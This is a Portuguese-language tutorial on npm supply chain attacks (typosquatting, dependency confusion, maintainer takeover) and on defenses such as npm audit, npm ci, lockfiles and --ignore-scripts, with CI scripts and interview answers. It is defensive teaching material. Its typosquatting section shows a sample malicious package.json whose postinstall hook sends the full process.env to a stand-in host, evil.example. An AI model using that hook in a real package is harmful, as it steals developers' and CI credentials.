Supply chain attacks e npm audit

TL;DR

Supply chain attacks exploram a cadeia de dependências de um projeto — um pacote npm malicioso instalado transitivamente pode executar código arbitrário na máquina do desenvolvedor ou no servidor de CI antes mesmo do código chegar à produção. O npm registra mais de dois milhões de pacotes, tornando vetores como typosquatting, dependency confusion e tomada de conta de maintainer ameaças concretas e frequentes. A mitigação começa com npm ci (lockfile exato), npm audit integrado ao CI, ferramentas de análise comportamental como socket.dev e snyk, e políticas de registry privado que impedem que pacotes desconhecidos sejam instalados.

Mapa dos vetores de ataque

flowchart TD
    DEV["fa:fa-user Desenvolvedor\nnpm install"] --> RESOLVE{"Resolução\nde nome"}

    RESOLVE --> PUB["Registry público\nnpmjs.com"]
    RESOLVE --> PRIV["Registry privado\n@acme/..."]

    PUB --> TYPO["Typosquatting\n1odash vs lodash"]
    PUB --> CONF["Dependency Confusion\nacme-auth@99.0.0"]
    PUB --> TAKE["Maintainer Takeover\nconta comprometida"]

    TYPO --> EVIL["fa:fa-skull postinstall malicioso\nexfiltra process.env"]
    CONF --> EVIL
    TAKE --> EVIL

    PRIV --> SAFE["fa:fa-check Instalação segura\nhash verificado"]

    EVIL --> IMPACT["Impacto\nCredenciais · CI tokens\nRansomware"]

    style EVIL fill:#D0021B,color:#fff
    style SAFE fill:#4A90D9,color:#fff
    style IMPACT fill:#D0021B,color:#fff
    style DEV fill:#F5A623,color:#000
    style RESOLVE fill:#F5A623,color:#000

O que é

Um supply chain attack (ataque à cadeia de suprimentos) em software ocorre quando um agente malicioso compromete não o alvo diretamente, mas algum componente que o alvo consome: uma biblioteca, uma ferramenta de build ou um script de instalação. No ecossistema Node.js, o vetor mais comum é o registro público do npm.

O ataque pode acontecer em qualquer ponto da cadeia:

  1. O desenvolvedor instala um pacote tipograficamente parecido com o legítimo (typosquatting).
  2. Um sistema de CI resolve um nome de pacote interno contra o registro público antes do privado (dependency confusion).
  3. Um pacote legítimo e popular é transferido para um novo maintainer ou tem sua conta comprometida, que então publica uma versão maliciosa.
  4. Uma dependência transitiva (dependência de uma dependência) é comprometida sem que o projeto tenha qualquer visibilidade direta.

O impacto pode ser catastrófico: exfiltração de tokens de CI, credenciais de ambiente, dados de produção, ou execução de ransomware — tudo acionado pelo simples npm install.

Como funcionam supply chain attacks

Typosquatting

O atacante registra um pacote cujo nome se assemelha ao de um pacote popular, contando com erros de digitação comuns. Exemplos reais documentados:

Pacote legítimoPacote falso
lodash1odash (L→1)
expressexpres
cross-envcrossenv
event-streamcomprometido via maintainer takeover (2018)

O script postinstall do pacote falso é executado automaticamente durante npm install, podendo enviar variáveis de ambiente para um servidor externo:

// package.json de pacote malicioso
{
  "name": "1odash",
  "scripts": {
    "postinstall": "node -e \"require('https').get('https://evil.example/?' + Buffer.from(JSON.stringify(process.env)).toString('base64'))\""
  }
}

Proteção imediata: nunca copie nomes de pacotes de fontes não-confiáveis e use --ignore-scripts em ambientes de CI quando possível.

Dependency confusion

Dependency confusion (também chamado de namespace confusion) ocorre quando uma organização usa pacotes internos publicados em um registry privado com o mesmo nome (sem escopo) que algum pacote que poderia existir no registro público.

O npm, por padrão, prefere a versão de maior número de versão encontrada em qualquer registry configurado. Um atacante que descobre o nome de um pacote interno (via package.json vazado, job postings ou erros de configuração) pode publicar no npm público uma versão com número de versão muito alto (ex: 99.0.0), que será instalada no lugar da interna.

# registry privado tem @acme/auth@1.2.0
# atacante publica no npm público: acme-auth@99.0.0 (sem escopo)
# se o projeto referencia "acme-auth" sem escopo e sem registry fixado:
npm install  # resolve acme-auth@99.0.0 do npm público → código malicioso

Mitigação: sempre use escopos (@acme/auth) e fixe o registry no .npmrc:

# .npmrc
@acme:registry=https://registry.acme.internal

Malicious maintainer takeover

Um pacote amplamente usado pode ser comprometido por:

  • Credenciais vazadas: conta npm do maintainer sem 2FA e senha reutilizada.
  • Transferência voluntária: maintainer transfere ownership para outra pessoa sem due diligence (ex: event-stream em 2018, com 2M downloads/semana).
  • Social engineering: atacante finge ser colaborador ou oferece “ajuda com manutenção” e obtém publish access.

Após o comprometimento, a versão maliciosa é publicada e instalada por todos os projetos que não têm a versão fixada no lockfile. O lockfile (package-lock.json) mitiga isso porque registra o hash exato de cada pacote — qualquer alteração no conteúdo do pacote produz hash diferente e falha na instalação com npm ci.

npm audit e npm audit fix

O comando npm audit consulta o banco de dados de vulnerabilidades do npm (baseado no GitHub Advisory Database) e compara com as dependências instaladas.

Output e interpretação

npm audit

Exemplo de output real:

# npm audit report

semver  <5.7.2 || >=6.0.0 <6.3.1 || >=7.0.0 <7.5.2
Severity: critical
Regular Expression Denial of Service in semver - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
fix available via `npm audit fix`
node_modules/semver

6 vulnerabilities (1 low, 2 moderate, 2 high, 1 critical)

Campos relevantes:

CampoSignificado
CVE/GHSAIdentificador da vulnerabilidade (ex: CVE-2022-25883)
Severitycritical / high / moderate / low (CVSS score)
fix availableSe existe versão corrigida compatível com semver do projeto
node_modulesQual pacote está vulnerável (pode ser transitivo)

npm audit --json para CI/CD

Em pipelines de CI, use o formato JSON para parsear resultados programaticamente:

npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 1, "moderate": 2, "high": 2, "critical": 1, "total": 6 }
 
# Falhar o build apenas se houver critical ou high:
AUDIT=$(npm audit --json)
CRITICAL=$(echo "$AUDIT" | jq '.metadata.vulnerabilities.critical')
HIGH=$(echo "$AUDIT" | jq '.metadata.vulnerabilities.high')
if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
  echo "Build failed: critical or high vulnerabilities found"
  exit 1
fi

npm audit fix vs npm audit fix --force

# Aplica apenas patches que respeitam o semver do package.json
npm audit fix
 
# Força upgrades de major version (pode introduzir breaking changes)
npm audit fix --force

A diferença crítica:

  • npm audit fix atualiza apenas para versões compatíveis com as restrições semver existentes (^, ~, etc.). Seguro para usar em projetos em produção.
  • npm audit fix --force ignora restrições semver e pode fazer upgrades de major version que quebram a API. Sempre revisar o diff de package.json e package-lock.json após usar.

Ferramentas complementares

socket.dev

Socket.dev vai além do audit baseado em CVE: analisa o comportamento do pacote antes de ele ser instalado, detectando:

  • Acesso a process.env em scripts de instalação
  • Chamadas de rede em postinstall
  • Ofuscação de código
  • Dependências adicionadas em patches recentes
# CLI local
npx socket npm install lodash
 
# Output inclui análise de supply chain:
# ✓ No install scripts  ✓ No network access  ✓ No env access

snyk

Snyk oferece análise de SCA (Software Composition Analysis) com integração nativa ao GitHub/GitLab/CI:

# Instalar CLI
npm install -g snyk
 
# Autenticar e escanear
snyk auth
snyk test
 
# Output com política: falhar se CVSS >= 7.0
snyk test --severity-threshold=high
 
# Monitorar projeto continuamente (envia resultado ao dashboard)
snyk monitor

osv-scanner (Google OSV)

Scanner open source do Google que usa o banco OSV (Open Source Vulnerabilities):

# Escanear pelo lockfile
osv-scanner --lockfile package-lock.json
 
# Output em JSON para integração com pipelines
osv-scanner --lockfile package-lock.json --format json

GitHub Dependabot

Configurado via .github/dependabot.yml, o Dependabot abre PRs automáticos de atualização de dependências:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    ignore:
      - dependency-name: "some-legacy-package"
        update-types: ["version-update:semver-major"]

Estratégias de mitigação

npm ci vs npm install

Característicanpm installnpm ci
Usa lockfileOpcional (atualiza se necessário)Obrigatório (falha se divergir)
Atualiza package-lock.jsonSim (pode)Nunca
VelocidadeMais lentoMais rápido (sem resolução)
Uso recomendadoDesenvolvimento localCI/CD e builds de produção
# Em Dockerfile e pipelines de CI: sempre usar npm ci
FROM node:22-alpine
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev
COPY . .

Commit do lockfile

O package-lock.json deve sempre estar no controle de versão. Ele registra o hash sha512 de cada pacote:

// trecho de package-lock.json
"node_modules/semver": {
  "version": "7.6.2",
  "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.2.tgz",
  "integrity": "sha512-FNAIBWCx9qcRhoHcgcJ0gvU7SN1lYU2ZXuSfl04bSC5OpvDHFyJCjdNHomPXxjQlCBU67YW64PzY7/VIEH7F2w=="
}

Se um atacante alterar o conteúdo de um pacote publicado, o hash não baterá e npm ci falhará com integrity checksum failed.

--ignore-scripts

Desabilita a execução de scripts preinstall, postinstall, prepare e outros hooks do npm durante a instalação:

npm ci --ignore-scripts
 
# Ou configurar globalmente no .npmrc do projeto:
# .npmrc
ignore-scripts=true

Atenção: alguns pacotes legítimos precisam de postinstall para compilar módulos nativos (ex: bcrypt, sharp). Nesse caso, execute os scripts manualmente após a instalação ou use imagens Docker que já incluem os binários pré-compilados.

Registry privado e allowlist

# .npmrc — forçar todos os pacotes @acme a usar registry interno
@acme:registry=https://registry.acme.internal
 
# Bloquear qualquer pacote não aprovado (com Verdaccio ou Artifactory)
registry=https://registry.acme.internal

Com Verdaccio, você pode configurar uma allowlist explícita de pacotes permitidos, rejeitando qualquer pacote fora da lista.

Verificação de integridade

npm pack --dry-run

Antes de publicar um pacote, simule o que seria incluído no tarball:

npm pack --dry-run
# Lista todos os arquivos que seriam publicados
# Útil para garantir que .env, chaves privadas ou segredos não estão incluídos

npx is-my-node-vulnerable

Verifica se a versão do Node.js em execução possui CVEs conhecidos:

npx is-my-node-vulnerable
# Using Node.js 22.2.0
# ✓ No known vulnerabilities in this Node.js version

Integrar em scripts de CI para bloquear builds em runtimes com CVEs críticos:

# CI step
npx is-my-node-vulnerable || exit 1

Verificação de checksums no lockfile

O lockfile registra integrity como sha512 em base64. Para verificar manualmente um pacote específico:

# Baixar o tarball e calcular o hash
curl -s https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz | \
  openssl dgst -sha512 -binary | \
  openssl base64 -A
# Comparar com o campo "integrity" no package-lock.json

Armadilhas comuns

npm audit fix --force introduz breaking changes silenciosamente

O que acontece: O comando faz upgrade de major versions de dependências transitivas sem pedir confirmação — uma dependência que saiu de v2 para v3 pode mudar APIs que seu código usa indiretamente, e você só descobre na primeira execução em produção. Por quê: --force ignora completamente as restrições semver do package.json (^, ~) e aplica a versão mais recente disponível de cada árvore de dependências, tratando risco de API quebrada como aceitável para fechar o CVE. Como evitar: Nunca use --force em automação nem em pipelines de CI. Em vez disso, rode npm audit fix (sem --force), revise o diff de package.json e package-lock.json, execute a suite de testes e trate upgrades de major version como feature branches separados com testes dedicados. Use overrides no package.json (npm ≥ 8.3) para forçar uma versão específica de dependência transitiva sem upgrade em cascata. Problema: npm audit fix --force pode fazer upgrade de major versions de dependências transitivas, quebrando APIs que seu código usa indiretamente. O comando não exige confirmação e aplica todas as mudanças de uma vez, tornando difícil identificar qual upgrade causou a regressão. Solução: Nunca use --force em automação. Em vez disso, use npm audit fix sem --force, revise o diff completo de package.json e package-lock.json, execute a suite de testes antes de commitar, e trate upgrades de major version como feature branches separados com testes dedicados.

Scripts postinstall maliciosos executam antes da revisão de código

O que acontece: O hook postinstall de um pacote npm é executado imediatamente após npm install, com as mesmas permissões do processo que iniciou a instalação — credenciais como AWS_ACCESS_KEY_ID, DATABASE_URL e tokens de CI são exfiltrados antes que qualquer revisor veja o código. Por quê: O npm executa postinstall como parte do lifecycle de instalação por design, para permitir compilação de módulos nativos. Não há sandboxing — o script tem acesso total ao filesystem e variáveis de ambiente do processo que chamou npm install. Como evitar: Use npm ci --ignore-scripts em ambientes de CI. Nunca rode npm install em máquinas com credenciais de produção no ambiente. Avalie cada pacote novo com npx socket npm install <pkg> antes de adicionar ao projeto. Para pacotes que precisam de scripts de build legítimos (ex: bcrypt, sharp), execute-os explicitamente e auditados: npm rebuild bcrypt.

Casos práticos

Cenário 1 — Gate de segurança no CI com limiar por severidade

Um time configura o pipeline de CI para falhar apenas em vulnerabilidades high ou critical, permitindo que low e moderate sejam tratadas assincronamente via Dependabot. O script abaixo também grava um relatório em JSON para o dashboard de segurança:

// scripts/audit-check.mjs
import { execSync } from 'node:child_process'
import { writeFileSync } from 'node:fs'
 
const FAIL_ON = ['critical', 'high']
 
let auditJson
try {
  const output = execSync('npm audit --json', { encoding: 'utf8' })
  auditJson = JSON.parse(output)
} catch (err) {
  // npm audit retorna exit code 1 quando há vulnerabilidades — capturamos o stdout mesmo assim
  auditJson = JSON.parse(err.stdout ?? '{}')
}
 
const vulns = auditJson?.metadata?.vulnerabilities ?? {}
writeFileSync('audit-report.json', JSON.stringify(auditJson, null, 2))
 
const failures = FAIL_ON.filter((level) => (vulns[level] ?? 0) > 0)
 
if (failures.length > 0) {
  console.error(`[audit] FALHOU — severidades bloqueantes encontradas: ${failures.join(', ')}`)
  console.error(`[audit] critical=${vulns.critical} high=${vulns.high} moderate=${vulns.moderate} low=${vulns.low}`)
  process.exit(1)
}
 
console.log(`[audit] OK — nenhuma vulnerabilidade bloqueante (moderate=${vulns.moderate} low=${vulns.low})`)
# .github/workflows/security.yml
- name: Audit de dependências
  run: node scripts/audit-check.mjs
 
- name: Upload relatório de auditoria
  if: always()
  uses: actions/upload-artifact@v4
  with:
    name: audit-report
    path: audit-report.json

Cenário 2 — Detectar typosquatting antes de instalar com socket.dev CLI

Antes de adicionar uma dependência nova, o time usa um hook de pre-commit que intercepta qualquer npm install e roda a análise comportamental do socket.dev, bloqueando pacotes com sinais de supply chain suspeitos:

// scripts/safe-install.mjs — wrapper sobre npm install com análise socket.dev
// Uso: node scripts/safe-install.mjs express validator
import { execSync, spawnSync } from 'node:child_process'
 
const packages = process.argv.slice(2)
if (packages.length === 0) {
  console.error('Uso: node scripts/safe-install.mjs <pacote1> [pacote2...]')
  process.exit(1)
}
 
console.log(`[safe-install] Analisando ${packages.length} pacote(s) com socket.dev…`)
 
for (const pkg of packages) {
  const result = spawnSync('npx', ['socket', 'npm', 'install', pkg, '--dry-run', '--json'], {
    encoding: 'utf8',
    stdio: ['inherit', 'pipe', 'pipe'],
  })
 
  let report
  try {
    report = JSON.parse(result.stdout)
  } catch {
    // socket.dev não instalado ou resposta inesperada — prosseguir com aviso
    console.warn(`[safe-install] AVISO: não foi possível analisar ${pkg} — socket.dev indisponível`)
    continue
  }
 
  const issues = report?.issues?.filter((i) => i.severity === 'high' || i.severity === 'critical') ?? []
 
  if (issues.length > 0) {
    console.error(`[safe-install] BLOQUEADO: ${pkg} tem ${issues.length} problema(s) crítico(s):`)
    issues.forEach((i) => console.error(`  - [${i.severity}] ${i.type}: ${i.description}`))
    process.exit(1)
  }
 
  console.log(`[safe-install] ✓ ${pkg} passou na análise comportamental`)
}
 
// Todos os pacotes aprovados — instalar de verdade
execSync(`npm install ${packages.join(' ')}`, { stdio: 'inherit' })

Em entrevista

Q: How do you protect your Node.js project from supply chain attacks?

A: My approach is defense in depth across three layers. First, at install time: I always commit the lockfile, use npm ci instead of npm install in CI/CD so the lockfile is enforced exactly, and run npm audit with --json to fail the build on critical or high CVEs. I also use --ignore-scripts in CI to prevent malicious postinstall hooks from running. Second, at review time: I use socket.dev to analyze behavioral signals in new packages before merging — things like unexpected network access or environment variable reads in install scripts. Third, at the registry level: for internal packages, I always use scoped names with @org/ prefix and lock them to a private registry in .npmrc to prevent dependency confusion attacks. For teams, I add Dependabot with weekly PRs to keep dependencies current and auditable.


Q: What’s the difference between npm install and npm ci in a CI/CD context?

A: The key difference is how they treat the lockfile. npm install treats package-lock.json as advisory — it will regenerate or update it if there’s a discrepancy with package.json. npm ci treats the lockfile as authoritative — if package.json and package-lock.json are out of sync, it fails immediately rather than silently updating. In CI/CD, this matters for two reasons: reproducibility and security. Reproducibility means every build gets exactly the same dependency tree, which eliminates “works on my machine” issues. Security means that if someone tampered with a package after it was locked — changing the tarball at the same version — npm ci catches the integrity hash mismatch and aborts. I never use npm install in a Dockerfile or CI pipeline; it always has to be npm ci.


Q: How would you handle a critical vulnerability in a transitive dependency?

A: First, I triage: is this vulnerability actually exploitable in our context? Many CVEs in transitive dependencies affect codepaths that the consuming package never invokes. I check the GHSA advisory for the attack vector and affected function. If it’s exploitable, I run npm audit fix — without --force — to see if there’s a semver-compatible fix. If there is, I apply it, run the full test suite, and merge. If there’s no compatible fix, I have a few options: I can use npm audit fix --force as a branch with careful testing of the major version upgrade; I can apply an overrides entry in package.json to force a specific version of the transitive dependency (available since npm 8.3); or, if the vulnerability is critical and there’s no fix at all, I evaluate replacing the parent dependency entirely. Throughout this process I document the decision in the PR description — either the fix applied or the rationale for accepting the risk temporarily with a tracking ticket.


Q: What is dependency confusion and how do you prevent it?

A: Dependency confusion is an attack where an adversary registers a package on the public npm registry with the same name as an internal package used by an organization, but at a higher version number. When npm resolves dependencies and finds a higher version on the public registry than on the private one, it installs the public — malicious — version instead. The root cause is using unscoped package names for internal packages. The prevention is straightforward: always use scoped package names for internal packages — @acme/auth instead of acme-auth — and in .npmrc, explicitly map that scope to the private registry: @acme:registry=https://your-private-registry. This way npm never even queries the public registry for packages in your organization’s scope.

Vocabulário

  • supply chain attack — ataque que compromete um componente da cadeia de dependências (biblioteca, ferramenta, registry) para atingir o alvo indiretamente, sem atacar seu código diretamente
  • typosquatting — registro de pacote com nome propositalmente similar ao de um pacote popular, explorando erros de digitação para distribuir código malicioso
  • dependency confusion — ataque em que um pacote com o mesmo nome de uma dependência interna é publicado no registry público com número de versão mais alto, causando instalação do pacote malicioso
  • lockfile — arquivo (package-lock.json no npm, yarn.lock no Yarn) que registra a versão exata e o hash de integridade de cada dependência instalada, garantindo builds reprodutíveis e detectando adulterações
  • CVE — Common Vulnerabilities and Exposures; identificador padronizado atribuído a vulnerabilidades de segurança divulgadas publicamente (ex: CVE-2022-25883); complementado pelo GHSA (GitHub Security Advisory) no ecossistema npm
  • SCA — Software Composition Analysis; categoria de ferramentas (snyk, socket.dev, osv-scanner) que analisam dependências de um projeto em busca de vulnerabilidades conhecidas, licenças problemáticas e riscos de supply chain
  • postinstall hook — script npm executado automaticamente após a instalação de um pacote; vetor de execução de código malicioso em supply chain attacks; mitigado com --ignore-scripts
  • integrity hash — checksum sha512 em base64 registrado no lockfile para cada pacote; usado por npm ci para verificar que o conteúdo do tarball baixado corresponde exatamente ao que foi lockado

O que vem a seguir

Supply chain é o primeiro anel de defesa — você protege o que entra no projeto. O próximo passo natural é proteger o que o projeto carrega em memória em produção: a nota Segredos e variáveis de ambiente trata de como nunca deixar credenciais no código, gestão de .env com validação em startup e integração com cofres como Vault e AWS Secrets Manager. Depois, Validação de entrada com Zod e Joi cobre o ponto onde código seu encontra dado do mundo externo — onde injeção e payloads maliciosos entram.

Veja também

Fontes